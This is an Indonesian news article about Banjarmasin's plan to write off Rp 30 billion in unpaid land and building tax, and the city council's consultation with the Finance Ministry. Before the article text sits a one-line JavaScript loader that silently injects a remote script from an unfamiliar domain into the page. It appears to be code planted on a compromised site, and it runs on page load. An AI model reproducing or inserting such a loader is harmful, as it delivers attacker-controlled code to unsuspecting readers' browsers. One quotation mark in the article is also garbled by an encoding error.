(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Pemko Banjarmasin Berencana Hapus Piutang Pajak Bumi Bangunan Rp 30 Miliar

BANJARMASIN, Ketua DPRD Banjarmasin Hj Ananda mengungkapkan, pemerintah kota berencana akan menghapuskan piutang Rp 30 miliar dari tunggakan Pajak Bumi Bangunan (PBB) pedesaan/perkotaan. Walikota Banjarmasin Ibnu Sina sudah menyurati pihaknya terkait persetujuan untuk penghapusan piutang PBB tersebut.

Menurut Ananda, berdasarkan hasil Laporan Hasil Pemeriksaan (LHP) Badan Pemeriksa Keuangan (BPK) ternyata ada piutang PBB untuk daerah pedesaan dan perkotaan di Banjarmasin yang jumlahnya mencapai Rp 92 miliar. “Jadi dari Rp 92 miliar ini, ada sekitar Rp 30 miliar yang harus dihapuskan, sebab akan mempengaruhi laporan keuangan pemerintah kota,” terangnya.

Terkait masalah ini, DPRD Banjarmasin akan melakukan konsultasi ke Kementerian Keuangan RI untuk menindaklanjuti permintaan eksekutif.

Ã¢â‚¬Å“Kita ingin minta masukan kepada Kemenkeu RI seperti apa tindaklanjut persetujuan yang harus diberikan DPRD kota untuk penghapusan piutang PBB ini,” katanya seperti dilansir Antara.

Dari hasil konsultasi yang didapat pihaknya dengan Kemenkeu RI, DPRD diharapkan mencermati permasalahannya. Sehingga tidak begitu saja harus menyetujui sebelum ada pembahasan mendalam di tingkat komisi dan mencek secara rinci laporan dari pemerintah kota.

“Jadi kita jangan setuju begitu saja, tapi kami melalui komisi terkait ekonomi dan keuangan harus mengkajinya, menanyakan kembali dengan jelas kepada pemerintah kota bagaimana prosesnya hingga harus dihapuskan,” terangnya.

Ananda menyatakan, pihaknya akan secepatnya menindaklanjuti hasil konsultasi dengan Kemenkeu RI ini agar secepatnya pula diputuskan, sehingga pertanggungjawaban keuangan pemerintah kota tidak terganggu dikemudian harinya. Dia memang mendapatkan informasi, tertumpuknya tunggakan PBB yang ingin dihapuskan ini dari tahun 2000 hingga sekarang. “Hal ini dikarenakan adanya masalah bagi wajib bayar PBB tersebut, diantaranya karena yang berkewajiban itu telah meninggal dan objek pajaknya tidak ada lagi,” ujarnya.(ammar/ant)

Reporter: Ammar/ant
Editor: Chell